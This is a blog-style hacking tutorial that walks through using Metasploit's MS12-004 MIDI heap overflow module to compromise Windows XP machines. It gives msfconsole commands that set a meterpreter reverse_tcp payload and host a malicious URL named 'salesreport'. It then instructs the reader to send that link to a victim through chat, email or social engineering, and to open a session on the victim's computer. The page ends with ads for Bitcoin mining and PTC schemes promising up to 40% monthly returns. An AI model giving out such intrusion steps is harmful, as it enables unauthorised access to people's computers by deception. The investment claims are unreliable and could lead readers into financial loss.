1

How To Hack Remote XP PC Using Heap Overflow Attack

What is Metasploit?
The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.

Its best-known sub-project is the open source[2] Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research.

The Metasploit Project is well known for its anti-forensic and evasion tools, some of which are built into the Metasploit Framework.

MS12_004 Midi Heap Overflow Exploit
This module exploits heap overflow vulnerability in the Windows Multimedia Library (winmm.dll). The vulnerability occurs when parsing specially crafted MIDI files. Remote code execution can be achieved by using the Windows Media Player ActiveX control. Exploitation is done by supplying a specially crafted MIDI file with specific events, causing the offset calculation being higher than what is available on the heap (0×400 allocated by WINMM!winmmAlloc), and then allowing us to either “inc al” or “dec al” a byte. This can be used to corrupt an array (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, which leverages remote code execution under the context of the user. Note: At this time, for IE 8 target, you may either choose the JRE ROP, or the msvcrt ROP to bypass DEP (Data Execution Prevention). Also, based on our testing, the vulnerability does not seem to trigger when the victim machine is operated via rdesktop.

Exploit Targets

  • Windows XP service pack 2
  • Windows XP service pack 3

Requirement

  • Attacker: Metasploit
  • Victim PC: Windows XP

Process:

  1. Open Backtrack Terminal 
  2. Type msfconsole
  3. Now type use exploit/windows/browser/ms12_004_midi
  4. Msf exploit (ms12_004_midi)>set payload windows/meterpreter/reverse_tcp
  5. Msf exploit (ms12_004_midi)>set lhost 192.168.1.4 (IP of Local Host)
  6. Msf exploit (ms12_004_midi)>set port 4444 (Port of Local PC)
  7. Msf exploit (ms12_004_midi)>set srvhost 192.168.1.4 (This must be an address on the local machine)
  8. Msf exploit (ms12_004_midi)>set srvport 80 (The local port to listen on default: 8080)
  9. Msf exploit (ms12_004_midi)>set uripath salesreport (The Url to use for this exploit)
  10. Msf exploit (ms12_004_midi)>exploit
  11. Now an URL you should give to your victim http://192.168.1.4/salesreport
  12. Send the link of the server to the victim via chat or email or any social engineering technique.

You Now have access to the victims Computer. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“
Previous
Next Post »
Best Investment and PTC Sites
Join Now and Start Earning Online
Invest Now and Start Earning
Join Now and Start Earning Online
Join Now and Start Earning Online
RocketRevShare - Instant Realtime Revenue Sharing!
Join Now and Start Earning Online
Join Now and Start Earning Online


Best Bitcoin Minning, Investing and PTC Sites
The most stable Bitcoin earning system in the market
PTC Website That Pays In Bitcoin
High earnings Investmens made easy. Up to 40% per month with cryptocurrency mining. No need in initial investment.
Each investment gets a public profile. Take a look! See the reporting, and how you cashout.
MinuteBTC, The Bridge of Success. We are the Accomplishment of your Purpose.
Scrypt.CC was created to make mining scrypt based coins accessible to everyone without huge upfront costs, no huge electricity bill at the end of the month, no worries with hardware failure, no babysitting the machines 24/7. We take care of all of that for you!